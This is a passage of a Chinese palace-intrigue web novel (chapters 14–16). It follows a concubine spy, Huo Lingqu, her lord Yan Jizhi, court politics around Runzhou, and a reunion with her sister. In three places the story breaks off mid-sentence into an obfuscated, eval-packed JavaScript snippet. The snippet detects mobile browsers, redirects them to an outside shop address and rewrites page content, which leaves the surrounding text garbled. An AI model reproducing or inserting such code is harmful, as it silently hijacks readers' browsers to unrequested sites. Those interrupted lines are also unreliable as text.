“回禀陛下,晋王爷抬爱,令愔夫人是陛下的潜邸侧妃,正徽元年即得封正三品昭仪;令愔夫人又为陛下诞育二皇子和三皇子,贵妃娘娘的人选,臣以为令愔夫人或可为首选。” 这番话讲得无可指责,问题是令愔夫人即使晋为贵妃也未必能对后宫局势产生多少变动;不过晏霁之是霍七姑娘的嫡亲表哥,会向着表妹很正常。 在座大人们听得平静,皇帝更平静地再叫魏王。 “禀陛下,臣听闻蒙太妃之兄洛阳蒙府尹的嫡女蕙质兰心钟灵毓秀有洛阳名姝的美誉,或可担得起陛下明年册封贵妃娘娘的备选之一。” 任正六品殿前侍读的霍雄鹰腹诽这是要抛球吗,接到后挨个往外扔,除晏霁之可能还有一丢丢真心外,这两位王爷简直只差在额头写‘我就在捣乱’五个大字了。 可能皇帝也觉得没意思,最后把八弟湘王拉出来溜溜便叫散。 众臣恭送皇帝,或独自或三两并肩往殿外走,晏霁之要迈出宣政殿大殿门槛时被喊住,霍雄鹰不满道:“我要的那套琉璃夜光酒具,你想拖到什么时候?” “这是狮子大开口。” “请你搞清楚,是我请来整个太医署的太医,还是我深夜出城请到念空主持和张神医,没有我就没有你宝贝宠妾的命,对我的谢礼是你能逃掉的吗?”霍雄鹰哼哼威胁:“你要是再推三阻四,我可得找你家流光姨娘要谢礼了。” “把整个太医署搬进英王府给我的妾室治病也未免太不可思议,除非你坦白究竟是用什么办法劝服陛下。”晏霁之仿佛认栽道:“只要你讲实话,我就把谢礼给你。” 霍雄鹰爽快摆手:“没劝,我只是想请院判,陛下恩德主动让我带整个太医署。” 晏霁之眸光微闪,语焉难辨:“陛下当真爱民如子啊。” 14. 第14章 晨曦未现,天地灰蒙仍在混沌中,京城街头巷尾却人头攒动热闹非凡,大街小巷奏响“雨停啦雨停啦……”的欢呼,犹如地动山摇的气势迅速点燃城中万家灯火。 自八月初延续至今的连绵秋雨终于停掉,贼老天终于放晴了! 很快整个京畿引动狂欢,万千烛光照亮混沌天际,英王府的大小院落也争先恐后亮起,流光小筑的庭院里同样充满手捧蜡烛的奴婢们在竞相欢庆奔走,只是世子爷和姨娘未醒,没谁敢扬声欢呼,只能压住声响偷乐。 值夜婢女绿岫走到内室前禀告雨停放晴的好消息,稍候片刻没收到回应要禀告第二遍时内室屋门忽然被推开,霍灵渠问:“雨真停了?” “是,姨娘,奴婢们还都在院里呢。” 霍灵渠拢拢披风往明间走,走到主屋廊檐下,看屋外好像真的没雨,她又伸出手臂试,半响没触摸到丝毫水渍,她高兴地裹好披风快步返回内室。 她挂念桑柔迫切想看见活生生的妹妹,可晏霁之总敷衍她,天放晴总能出府了吧。 “你病愈了吗?调养才几日,天天闹要见妹妹,你和莫行首难道一日不见如隔三秋吗?老天爷连续下雨已经多久,城中多少寻花问柳的男人都憋坏了,莫行首没空。” “正是因此,妾身今夜才更要出府,且妾身调养五六日深觉病情好了许多,不碍的。”霍灵渠放下纱幔后掀开锦被,靠进他怀中恳求:“见不到妹妹,妾身心中难安反倒容易心思郁结、于我养病不利,世子就答应了吧。” 晏霁之调笑:“起初还劝我莫留宿,没隔两日就派婢女请我回来过夜,倘若我再拖几日,你还预备在病中就陪我赴巫山吗?” “世子何尝不渴望亲情?您应当明白妾身的感受。”霍灵渠娇柔而肯定的断言刚出,晏霁之就好整以暇问:“我怎不知,何以见得?” “您厌恶以唇相触,可我们燕好时您也曾主动吻过妾身,世子有印象吗?”霍灵渠仰头,眼眸泛起浅浅温情,淡淡笑意素净,明明谈房事却有不染纤尘的美:“偶尔情到浓时,您会像新生的婴儿般闹着要喝奶。” 一瞬间的狼狈令晏霁之几乎想躲避她温和却犀利的视线,枕边人的恐怖或许就在于此,她能在最不经意间在你根本没有防备时戳穿对方自认为无懈可击的完美伪装。 晏霁之稳稳心神,自若而笑:“没想跟我一生,此言,流光不觉得很伤人吗?” “既然渴望母爱,为何事事都不愿意顺你母亲心意?”霍灵渠垂眸,低低道:“至少你母亲盼你早日娶妻生儿育女没错。 有些妇人三十岁出头就做祖母,而王妃已经四十多岁,比你小九岁多的庶弟都娶媳妇了,你还拖着既不愿意娶妻又不愿意生养庶出儿女,能怨亲娘不给你好脸吗?树欲静而风不止,子欲养而亲不待,世子既然有心又何苦?” “记忆中父母也曾有过几年琴瑟和鸣,在我七八岁时他们渐行渐远,初以为是父亲太过偏宠妾室以致失掉分寸,经事多才懂是母亲心向娘家已忘掉立场,竟把娘家置于自家前,妄想拿晏家填补好助佟家扶摇直上。” 晏霁之以种闲话家常的口吻:“晏家在我曾祖掌权时得封异姓王,自祖父起受尽猜忌,父亲自污名声在娶妻前生养庶出儿女,对我最多的教导是藏拙。 高门嫁女、低门娶妇,我外祖父应该是天下最会嫁女儿的当家人,嫡长女嫁进异姓王府,嫡次女嫁进后族,嫡幼女嫁入宗室,而三十年前他只是个微不足道的六品小官。我记得自己有个没出世的同胞弟弟或妹妹,如果能出生应该比你小十五六个月。” 最后句话太像意有所指,霍灵渠抬眸,秋水剪瞳映见他越靠越近的缩影,她眨眨眼,倏然想到前后合计算他们应该有过四年半的床笫之欢。 屋外金辉闪耀,金乌冲破层层云霄阻碍跃升最高云端释放源源不断的光和热供养人间,久违的阳光带来叫人心醉神迷的味道,数不清的人们要看日出,大街小巷熙熙攘攘,此起彼伏的呼声响彻,原来早晨能看到太阳冉冉升起是那么美好。 喜气洋洋从天未启明持续到黄昏,夜幕降临更展开新一轮热闹,酒楼茶肆张灯结彩,街头各式摊贩多如过江之鲫,花灯皮影杂耍说唱脂粉配饰糕果油炸吃食应有尽有,一种喧嚣后归置疲劳的放松和游赏尽兴弥漫在夜市的角角落落,更不必说纸醉金迷的销魂窟。 霍桑柔收到英王世子派长随传的消息,硬和鸨母要求今夜必须出门,闹得气焰高涨时迎面看到个披银披风的玄衣男人进屋,火气顿时萎掉,低头呐呐:“主公。” “给你姐姐传句话,年底前本座要拿到晏霁之与润州的书信账目往来。” “是!”霍桑柔忙不迭应,请示还有指令吗?没指令后她急忙告退,鸨母红七娘忧道:“英王世子既然知道了流光和莫欢是亲姐妹,就算为英王府的名声他都不会放任莫欢继续留在撷芳馆,主公这颗棋恐怕要废了。” 男人不在意:“本座从没指望过莫欢能做多少事,无所谓。” 红七娘低低头露出一截白皙的脖颈,恭顺的姿态为她丰娆的脸庞增添份温婉:“是属下糊涂忘记了,莫欢并非死士出身,她姐姐流光才是您培养的死士,莫欢只是心中有恨要报仇才违背姐姐意愿硬要入风尘。 可主公想过没有?流光从不甘心效忠您,美貌更是天生的武器能为女人披荆斩棘,流光凭着美貌能做许多超出您掌控的事,倘若妹妹和外甥再被英王世子接管,您失掉对她的钳制,只怕今后她办事会越来越不尽心。” 贵胄富商们一掷千金的销金窟自然珠玉画栋陈设奢靡,男人不疾不徐地扫过红七娘,视线瞥见靠墙的琉璃灯盏斑斓富丽,倾泻一室流光。 霍桑柔在妓馆两位打手的陪同下先回趟乌台巷的小宅院,她倒没想带娃只是娃娃黏人,她也不忍心把孩子留在家里孤孤单单的,便抱着小祐赶去马行街头约定地点等候姐姐。 相约戌时二刻,霍灵渠催促暂充当车夫的那位世子爷长随快些赶马车得以提早一刻钟,她刚走下马车,身后传来女子欢喜和孩童奶糯的喊声:姐姐、姨母~~ 霍灵渠心头微微颤抖,希冀真实又害怕幻听的复杂缠绕叫她没敢迅疾反应,只能慢慢、慢慢转过身寻声源,只是转过身就看到了,看到活生生的桑柔抱着四岁多的小祐向她走来,她不由自主地睁大眼睛,更不敢眨眼生怕一眨眼妹妹就会消失。 还是娃娃的小祐和满脸笑意活泼的妹妹啊,梦中千百遍的场景出现在眼前,霍灵渠眼底泪光闪烁,刹那间望尽浮生。 霍桑柔欢快奔至姐姐跟前,顿时惊怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459206|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“姐姐你怎么哭啦,谁欺负你?” “没有、没有,姐姐是高兴的。”霍灵渠伸手抱住他们,眼眸酸涩,极力忍住泪意哽咽:“姐姐还以为会再也见不到桑柔,终于能再看见桑柔又活生生在我眼前,姐姐高兴。” “桑柔也好害怕,怕姐姐不要我和小祐了,怕再也见不到姐姐——”霍桑柔闻言也想哭,随行婢女朱楼不得不打断她们这番姐妹情深:“姨娘、姑娘,此刻正在夜市街头,公子既然答应让姨娘出府一个时辰与莫欢姑娘相聚看夜市,您合该好好玩才是。” 霍灵渠收住情绪放开拥抱,扬笑道:“对,看夜市,我们好好逛逛,桑柔抱得累了吧?小祐来、姨母抱,小祐有没有什么想要玩的吃的呀?” 男娃乖乖松开他娘扑进姨母怀里,欢声道:“要,小祐要吃甜橙蜜饯要看相扑翻跟斗,小祐还想要面具风筝骑马马。” 霍灵渠宠溺应好,目光那样温柔,和妹妹一起带娃开始逛夜市;霍桑柔担心姐姐病情,边走边道:“姐姐你真的已经病愈了吗?还有没有哪里不舒服,现在夜里很有些凉,要么我们先找家成衣店给你和小祐都买件斗篷,刚病愈也很容易再感染风寒。” “姐姐没事,不过买斗篷也好,再玩会儿也许小祐得感觉冷了。”霍灵渠有心想与妹妹单独谈些事,就怕婢女和护卫们支不开,转念想不急在此时,下次见面时她再提罢。 英王世子派出的四名护卫和俩婢女与撷芳馆的两名打手共同跟在他们身后保护,朱楼走过段路后悄然落后几步跟面相温厚的打手闲话:“原来莫行首已经嫁过人,可真想不到呢,看那男娃娃的年纪,莫行首是才十三四岁就嫁人生子了吗?可真早啊。” “莫行首去年七月才进撷芳馆,她以前的事我们哪能知道。” 朱楼恍然哦声,眺望眼见流光姨娘和莫行首正抱着娃娃看杂耍,火光明耀,能清楚地看见这对姐妹兴致浓郁、仿佛不谙世事的闺阁姑娘,简直叫人难以相信她们竟会是娼妓出身,难怪世子爷独宠流光姨娘也要处处防范,这样的绝代美人是多么可怕。 夜市街头火树银花人潮涌动,放眼可见撒欢的热闹,人们浸在自在的氛围中喜不自禁,白龙鱼服的皇帝却神情怔愣,隐蔽在猜谜的小摊旁久久不挪动,侍从忍不住提醒:“主子,人已经走远了。” 皇帝睫毛微颤,自嘲想怪不得这两年他派人在嬴天漾那里翻个底朝天也没找到。 流光? 授康二十八年中秋,流光在撷芳馆登台即引发轰动,追捧的勋贵公子不计其数,立冬前被英王世子以四万两白银的天价赎身买走。他知道,听闻还有许多人羡慕嫉妒晏霁之,因为流光在风月场还不足两个月、尚未梳拢,而他好像曾为此嘲讽过晏霁之。 摆字谜的摊主没忍住,喊两位客官干巴巴站那么久要不要玩猜谜? 皇帝本想走开,忽然冒出个念头,问:“十两白银,我写个字谜,行吗?” 给十个铜板都行的!摊主乐得合不拢嘴,给这位阔绰的客官备纸笔,看他一气呵成写完,接过红纸条看看不由得皱眉:“客官,您这字谜不通吧?” 皇帝未语,放下银锭离开。 他的谜面是:众里寻他千百度,蓦然回首,那人却在灯火阑珊处。而谜底:流光! 15. 第15章 润州:古称丹徒、京口,西衔金陵、北邻扬州,扼长江咽喉、据太湖门户。若起战事,一旦润州被攻陷,将直接威胁毗邻的富庶之地,自古以来就是军镇重地。 霜叶斑斑落庭前,阳光驱不散秋冬交替的冷意,霍灵渠盖条雪白的兔绒毯靠在窗边美人榻里思索昨夜妹妹悄悄转达给她的命令,思考许久发现这四年最大的变化既非太上皇禅位,亦非她和晏霁之前年就同床,而是她接到的命令小同大异。 是因为太上皇禅位之故吗? 越王登基,牵动许多世事变得面目全非,更早已今非昔比、大相径庭,那么英王府呢?当今的皇帝还会像他父皇般想要把朝堂中的异姓王家族连根拔起吗? 霍灵渠叹息声,这不是她能操心的事,况且太上皇在位要动手时晏家尚且能全身而退,晏霁之和他爹心中必有章程,她能做的无非是少尽细作本分,减少害英王府的罪孽。 润州?霍灵渠抬手按按太阳穴,翻遍记忆没找出晏霁之与润州往来的印象,只好作罢,待她调养好再慢慢琢磨。 大丫鬟绿岫撩开珠帘走到美人榻前,屈膝禀道:“姨娘,丁姨娘过来探病,您见吗?” “她为何事啊?” “奴婢猜可能因为王妃要送丁姨娘离府了。”绿岫提醒道:“丁姨娘已经二十岁,世子爷前头那些姨娘都是这岁数离府的。” 英王府富贵也没得白白养闲人,英王妃又每年要给儿子纳新人,因而除了她的表侄女钟姨娘之外,没服侍过世子爷的妾室们在年满二十岁后都会被发还身契打发掉。 霍灵渠想起来确实为此事,丁姨娘不想离府,可找她能有何用?况且离府后成自由身,在王府攒的积蓄也能带走,不比留在这府里守活寡强吗?前回她见了,这回却不必。 “你问问丁姨娘是否为她即将离府的事,如果是,你拿五十两银票悄悄送给她,就当是我的一点心意,别传进王妃耳中,见面不必了。” “是,姨娘。”绿岫再屈膝告退去办事。 没过几日,丁姨娘拿着自己的身契和在王府攒的积蓄离开,走前特意到流光小筑辞别;而她刚离府,英王妃便紧锣密鼓地又给世子爷纳房新人,立冬前一顶小轿从角门抬进王府,正好住进丁姨娘离府后腾出来的空屋。 黄昏降临得越发早,火烧云在遥远天际绽放出的绚烂仿佛近得触手可及,桂花树下簌簌金黄落满,余香美景未散而人踪难觅;寒意好似从黄泥土底层冒出从四面八方聚拢,任凭冷清在初冬的夜晚涤荡。 屋中暖和如春,霍灵渠一袭轻盈的白里透红薄纱寝衣走过屏风,发梢鬓角还挂着水汽,她边拿巾帕擦头发边走到梳妆台前,意外发现妆台上多出只精美的木匣,她打开一瞧,红绸布上摆着对莹润的白玉手镯。 “本来想在你进府满四年当夜送给你,赶巧那天王妃纳葵姨娘进府,怕你嫌膈应。” “世子厚爱,妾怎会嫌?”霍灵渠合上木匣,走到床前,看他慵懒靠在床头,右腿屈起,右手垂在膝头随意握着翻开的书卷,明显心思不在书中。 “有件事轮不到妾身多言,请您恕妾逾越,倘若世子对钟姨娘当真没有心思,最该离府的人应该是她;钟姨娘已经二十二岁,还能蹉跎得起多少年华,您说呢?” 晏霁之淡淡:“我的态度一直都很明确,是王妃非要一意孤行;流光与我说,没用。” “妾身顾虑不周。”霍灵渠盈盈目光落向他手中的书卷:“世子在看什么?” “《吕氏春秋》,也不知今夜怎么了,读《吕氏春秋》偏偏只想到吕不韦的风流韵事。”晏霁之坐直身体把书卷递给宠妾,打趣道:“流光想过学赵姬吗?生出位千古一帝,只要不与亲儿交恶,你此生将会富贵无极高枕无忧;如若真如此,不知我是否算吕不韦第二?” “世子在说什么,您莫非读书读糊涂了。”霍灵渠笑得眉眼弯弯,将书卷放进多宝格,回到床前放纱幔,刚躺进床榻就被男人拥抱入怀,晏霁之伸指腹摩挲她的唇瓣:“可能吧,旷三个月有些难受而影响了思绪,可别骂我故意想欺负你。” 若有似无的清淡玫瑰香幽幽萦绕,美人眸底漾出丝丝魅惑,轻轻一瞥已有千般风情,霍灵渠抬手捧男人俊美的脸庞,娇滴滴撒娇:“您今夜真想故意也不是不行,只要您应我件事;调养半月顿顿燕窝清粥没甚滋味,听闻润州江蟹闻名遐迩口感甚佳,妾身想尝尝。” “秋天吃螃蟹才肥美,时下已经入冬,流光挑样初冬的吃食可好?” 霍灵渠媚眼如波,横他:“我就想病愈后尝口润州的江蟹,于世子爷能有何难,您连这么点小小的心思都不愿意费,能有脸怪我要骂你想故意欺负我?” 温香软玉酥骨噬魂,晏霁之偏偏平静如柳下惠:“没有润州江蟹,流光就不心疼我吗,我在爱妾心中难道还不如螃蟹?” 霍灵渠娇哼:“您若怜惜妾身岂能不愿意派人往润州给我挑盘螃蟹?” “非要润州江蟹吗?”晏霁之捏住她精致的下颌:“没润州江蟹,我还不能碰你了?” “能,您对妾想做何事会不能呀?”察觉他语调转硬,霍灵渠瞬间示弱,拉过他的手,嗔怨痴缠哄道:“床笫间的情趣,你偏能跟我生气,这脾气真是给惯的。那我们可说好了,润州江蟹算你欠的,哪日得闲了世子可要派人往润州挑江蟹。” “话都被流光抢走,我还能不应吗?”晏霁之伸手取走她挽发的玉簪,霍灵渠青丝如瀑垂在腰际,她握拳捏手心努力压住紧张,低头装娇羞。 白里透红的薄纱寝衣垂落床沿,红烛垂泪,诉尽一室旖旎。 沙漏静静朝破晓推进,正值黎明前好梦熟睡,屋外突然冒出响动随即响起婢女的禀告,幸亏芙蓉帐里的两人刚安寝没有被扰眠,霍灵渠听婢女禀告三遍他还纹丝不动,轻轻推他:“王爷喊世子有要事相商。” “王府没塌,父亲能有何要事要在寅时二刻喊我商量?不是他老人家偏疼庶出小题大做就是太把庶出当回事而失掉分寸。”晏霁之眼皮都没掀:“无需理会。” “您知道为何事?”霍灵渠讶异,劝道:“毕竟是深夜派人过来,您还是给个回信。” 晏霁之给她拉拉锦被:“睡吧。” 霍灵渠抿抿唇,有种想独自睡软榻的冲动,虽然这显得很矫情。 记忆终归只是记忆,真正再陪这个男人燕好半宿终究不同;即使她做足心理准备,即使闺帏中事对他们早已是寻常,可于她到底已经间隔四年,她做不到没丁点波动。 “妾身再铺床丝被吧,免得影响世子歇息。” 在竹屋时他们基本各睡各的,霍灵渠翻翻记忆发现前年他们刚同床时也如此,不知不觉同被相拥而眠的次数增多以致逐渐成习惯,可欢爱结束后何必还如此亲密? “流光可惯会翻脸。”晏霁之哼笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459207|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每每遇事就对我极尽柔情妩媚,你主动扑我怀里时怎么不想会打扰我?没事了,能够回避就要躲远;今晚更离谱,跟我要润州江蟹时恨不得化作滩春水,还没四个时辰就演不下去了?” “世子这是什么话呀?”霍灵渠声音委屈,晏霁之接:“你去睡软榻。” “……” 她愿意独自睡软榻但不能是被赶啊,霍灵渠头痛也只能哄,仰头前倾,手抚男人的脸颊,媚声怨:“那么世子想罚几日?到底谁惯会翻脸,一言不合心意就胡乱欺负人,可真是打小惯出的霸道挑剔。我若不肯领罚,你还想连夜走掉吗?” “不至于,就是你想要的润州江蟹没了。” 一盘螃蟹吃食而已,她若真因此选择顺从无疑会显得很离谱;可没有润州江蟹,她总不能再挑样润州的特产然后借势把话题往润州引,那未免刻意。 “只因为我说再铺床丝被就能惹得你这样不痛快吗?再过个把时辰天都要亮了,难道我缠你整宿不眠你就高兴吗?你又能有理由指我根本不顾你的身体,能闹得我里外都不是。” 霍灵渠躺他怀里,含怨撒气而无奈:“真不知已故的老王爷夫妇怎么养的,给你养成这么副德行;将来你做父亲,孩儿还在襁褓中哭闹惹你烦,你是不是还想孩儿来哄你?” 晏霁之口不应心:“流光是在胡搅蛮缠吗,试问我为何要不痛快?” “好,是妾错。”霍灵渠顺毛捋:“妾妄加揣测世子心意,可我们真该安置了,不然丫鬟们叫起时您可能都起不来;若是向衙门告假,府里谁猜不出缘故,王妃又该生气了。” “告假。”晏霁之搂着宠妾侧过身,这是禁言的意思,霍灵渠想劝也没多言,晏霁之的睡相很稳甚少会侧卧,一旦他侧卧时就不能再烦他否则绝对会惹恼他。 晨曦初露,霍灵渠被屋外的叫起声吵醒,身旁的男人置若罔闻,她只能坐起来撩开纱幔,扬声冲寝屋外的婢女吩咐:“半个时辰后再来伺候洗漱,朱楼找世子的长随笛生传话,世子爷身体微恙要向衙门告假一日。” 打发掉屋外的丫鬟,她再躺回晏霁之怀里哄,他睡眠比她浅肯定已经醒:“府里那么多双眼睛看着呢,过半个时辰就起来,哪怕给王妃请过安再睡回笼觉。” 晏霁之含糊不清地唔了声。 没过两刻钟寝屋外又响起匆匆脚步声,朱楼高声禀道:“王爷请世子有要事商议,奴婢斗胆嘴碎,府里传言今早卯时初分大爷是鲜血淋漓地被三爷领护卫们抬回来的。” “知道了!” 霍灵渠话落,拉着纱幔的手停顿片刻才缓缓收回,转头,视线与他睁开的眼眸交汇,这清明到平淡的目光令她油然生出种预感:“你早已料到?” “没传进府里而已,晏明潜把乐邑长公主的驸马爷得罪狠了,不死也得残,王爷心里很清楚还要叫我商量,商量什么?拿半个英王府抵给薛家赔罪吗?” “乐邑长公主的驸马爷就是显国公和平原大长公主的长子?”按晏大爷的行事作风不可能会去得罪这种皇亲贵胄人家,霍灵渠疑惑:“因为何事?” 晏霁之把女人拉回怀里拥住,赖洋洋道:“他追捕越狱的逃犯追到薛驸马养的外室宅邸,他多管闲事以为薛驸马的外室在偷人就把那两人绑在棉被里痛打。现在薛府天天十多位太医守着,驸马爷可能会不能人道。” 霍灵渠:“……大爷可真爱管闲事。” 16. 第16章 晏霁之和比他年长四岁的庶长兄关系简单概括:差!具体点形容:比陌路人还差。 英王世子未定前要争抢爵位,世子落定后,对方处处争强想压过世子,而他则日常不是没把对方当庶兄就是当王府里没那号人。 多少年的积怨,庶兄得罪人竟然想让他帮忙补救?他父亲可能需要请御医。 晨间多凉,甫入初冬,金乌便已彰显吝啬,阳光稀疏绵软仿若仿佛能被阵西北风吹跑。 晏三爷晏如瑰头顶并不能驱寒的阳光跨进流光小筑,惊讶发现庭前草木青葱花繁妍丽,丝毫不比由花农们精心打理的王府后花园逊色。 “流光姨娘——” 晏如瑰刚及弱冠,眉清目秀温文尔雅,在花厅稍坐片刻,嫡兄没现身反而是位明眸皓齿艳光四射的绝代佳人款款走来,忙起身低头回避直视。 “三爷,”霍灵渠鸦青的长发用银丝带挽起,仅在鬓间簪支珍珠流苏步摇,她身着蜜粉镶银丝雪绒苏缎长裙外罩金丝海棠披帛,戴在皓腕的珊瑚手钏红光游转,枯燥乏味的时光里,因她的出现而骤然活色生香粲然生姿。 “流光有礼,世子身体微恙正在休养,故遣流光前来相询,三爷有何要事如此紧迫?” 父亲一再派奴婢相请都被推拒才由他出面,为何事嫡兄摆明明知故问,晏如瑰好脾气道:“想必流光姨娘也已耳闻大爷伤重,大哥好心办坏事引得惨遭横祸,请二哥看在兄弟情面上助大哥渡过这个难关。” “假若这回是世子遭难,大爷能念兄弟情吗?”霍灵渠温温婉婉问:“三爷向来温和,可温和不是和稀泥,您对两位兄长势同水火的关系很清楚,何苦做这种惹人厌的老好人?难道是霁之他拿刀架在庶兄的脖子上逼着大爷去争夺爵位吗?” 晏如瑰拱手赔笑:“毕竟已是多年前的往事,家和万事兴,一家人和睦才是正理。姨娘是二哥的枕边人,二哥最听得进姨娘的劝;还望姨娘给小弟个脸面,请二哥出来相见。” “三爷真会折煞流光,您这声小弟,奴婢怎能担得起?”霍灵渠退后步,盈盈一拜还礼:“帮您传话自是行的,可流光也不能冒着惹世子厌弃的危险稀里糊涂帮忙。 您言大爷好心办坏事才惨遭横祸,可奴婢却听闻是大爷在追捕越狱的逃犯、在办公差时多管闲事害人不浅而遭回击,薛驸马尚未病愈,比惨,能轮到大爷吗?” 这隐秘不好被丫鬟们听到,可他与世子嫡兄的宠妾更不能单独相处,晏如瑰犹豫半响还是没敢提单独说话,只得当着花厅中伺候的婢女们详细叙来。 “姨娘只知其一未知其二,大哥并非多管闲事。大哥与薛驸马私交甚好,驸马爷出京办差还曾将那位外室托给大哥帮忙照看;那夜大哥领刑部官差追捕越狱逃犯至那外室宅院外,因担忧其安危故进院察看,未想奴婢开门后竟听到屋中有男女嬉笑声。 薛驸马悄悄回京还不曾在人前现身,大哥不知,既得驸马爷嘱托如何能置之不理,但大哥并未擅自做主而是请示乐邑长公主;将屋中男女就棉被绑起来痛打乃乐邑长公主发号施令,未料竟会阴差阳错,大哥他真是好心办坏事。” “流光这便去帮三爷传话,绿岫给三爷换杯热茶,请三爷稍候。” 霍灵渠屈膝敛衽告退,礼数无可指摘,正因此晏三爷才感叹,将来嫡兄娶妻,谁能压得住这样绵里藏针的倾国祸水,流光姨娘极尽奢华独宠多年还能忍受来位主母压着她?将来世子的内宅还能够安稳吗? 美人香闺易怠懒,晏霁之清早洗漱过后还真重新躺进红绡暖帐里睡回笼觉,霍灵渠进屋第一件事还得先哄他醒来再交代会谈情况;毕竟这男人要装睡,明知他在假寐也没辙。 “三爷都对妾身自称小弟,不见到世子怕不会罢休;况且三爷背后还有王爷,您总推拒未免伤父子情分,要么您就去见见?” “他倒是舍得下脸。”晏霁之随意道,霍灵渠柔声劝:“毕竟大爷得王爷器重,四爷五爷有王爷疼爱,他们三位又都是侧妃所出,唯独三爷夹在中间少得关注,应该也难做,您亲自见一面给句话让他交差又何妨?” 晏霁之伸手抚抚宠妾水嫩的脸蛋,嗤笑道:“京畿东城都指挥使上月调任,空缺还没补,会点功夫的正五品官谁不眼馋?晏明潜在刑部郎中的位置上好几年,对此志在必得,王爷再三叫我商量为的是想办法帮他升官。” “可薛驸马病情尚未明朗,他家能轻易罢休吗?”霍灵渠存疑:“眼前的情况,薛家不打击报复已然留情面,还能放任让大爷升官?” “只要英王府愿意给出足够的好处,不是给薛家而是送给皇帝。一旦薛驸马治不好,两家再难调和只剩撕破脸;为晏明潜拿到东城都指挥使一职,就是英王府的态度,不惧你死我活,所以王爷想要让世子同意。” 晏霁之指腹点点她的唇瓣,拿过她的丝帕给她擦掉口脂,霍灵渠越听越糊涂:“显国公府可是平原大长公主和乐邑长公主的夫家,皇帝能向着英王府?” “皇帝登基前是霍太后的养子还得看霍家脸色过活,太上皇禅位至今都不肯放掉大权,京畿手眼通天的权贵世家有几家会不是皇帝的眼中钉肉中刺?拔掉这些刺,皇帝收拢权柄,何乐而不为?最是无情帝王家,姑母和妹妹算什么。” “世子不觉得奇怪吗,四年前太上皇为何执意要禅位?”霍灵渠真的不可思议,晏霁之眼波流转,雅然笑意如镜中花水中月难以捉摸:“可能因为害怕,一成不变的轨迹容易失控,太上皇也许是世间最害怕失控之人。” “害怕、失控?”霍灵渠彻底没懂,要追问时她束腰的丝带被扯掉,连忙按住他提醒:“三爷还在花厅等着呢,你好歹给庶弟个回信呀。” 晏霁之扬声唤朱楼吩咐:“找笛生拿本世子昨日留在书房的信笺交给三爷转呈王爷。” “是,世子。”作为贴心顺意的大丫鬟,告退时朱楼顺手关上内室房门,落在霍灵渠眼中叫她羞得脸颊飞霞,要制止阻拦,可惜娇侬软语只尽数消弭在红绡暖帐间。 日近薄暮,晏霁之衣冠楚楚地走出流光小筑,去前院英王的书房找老爹谈。 “舍得离开温柔乡了?” 英王爷晏墉得知世子荒唐都不得不按压正事先训他:“这都要酉时了,眨眨眼就会天黑,你此时出屋多煞风景,世子爷怎能如此不解风情?” “怕在府里待整日都不去给王妃请安,母亲要冲进流光小筑找茬。”晏霁之弯弯唇揶揄:“流光脸皮薄,倘若被母亲把我俩堵在床帏,她能找个地缝钻进去。” “呵!”王爷被气得差点翻白眼,没好气道:“看来这娼妓出身的小妾真有本事,让你把少年时要死要活的情殇都给放下了?” 晏霁之神情陡变,垂眸未语;英王晏墉见此不由叹气,语调也变温和:“爹知道你眼光高,你娘给你挑的妾室通房都不能入你的眼,可霁儿你想过没有,你娶媳妇之后如果还那么宠流光姨娘,你媳妇能忍吗,你的后院还能安稳吗?” “弱冠时我立誓将在而立之年娶妻,世事无常,谁又能知三四年后会是怎样的景象?” “你自己心里有数最好!”晏墉从桌案角堆书中抽出信笺拍在书桌上:“什么意思?” 信纸上七个字:密州府尹肖克谋。晏霁之拾起信纸扫过眼,淡淡道:“爹爹心里明白,谁惹出的祸事?非但不追究他还要驱动家族帮他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459208|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谋职升官除掉仇家,能有那么便宜吗? 您要为晏明潜和薛家撕破脸,为此想送给皇帝多少好处都行,但皇帝给的回报得归我。大理寺正卿年底致仕,正副的位置都会动一动,密州府尹明年调任大理寺少卿。” 晏墉没表态,似褒奖更像恭维:“霁儿真会瞒,为父竟然半点风声不曾耳闻。” “密州府尹是嬴天漾的人,我和嬴天漾要谈点买卖。”晏霁之解释,差点又把他爹气到:“咱们家世子爷可真会慷亲爹之慨!” 晏霁之提醒:“是爹爹自己把机会递给孩儿。” “西南的叛乱已经平定,与交趾国的战事明年大约也能见分晓。”英王晏墉深呼吸平复:“陛下不想让他这位骁勇善战的堂弟功高震主,一直在安排将领分他的权,你不懂吗?你还非要与他频频交往甚至暗中襄助,对你能有何益处?” “自祖父起,这座异姓王府受到的猜忌打压少过吗?”晏霁之反呛:“姑母才那么年轻就过世,为何?因为在宫里被活活熬干了心血。” 英王爷静默两息时间,叹道:“徐侧妃和你四妹妹想争明年的贵妃位,你怎么想?” 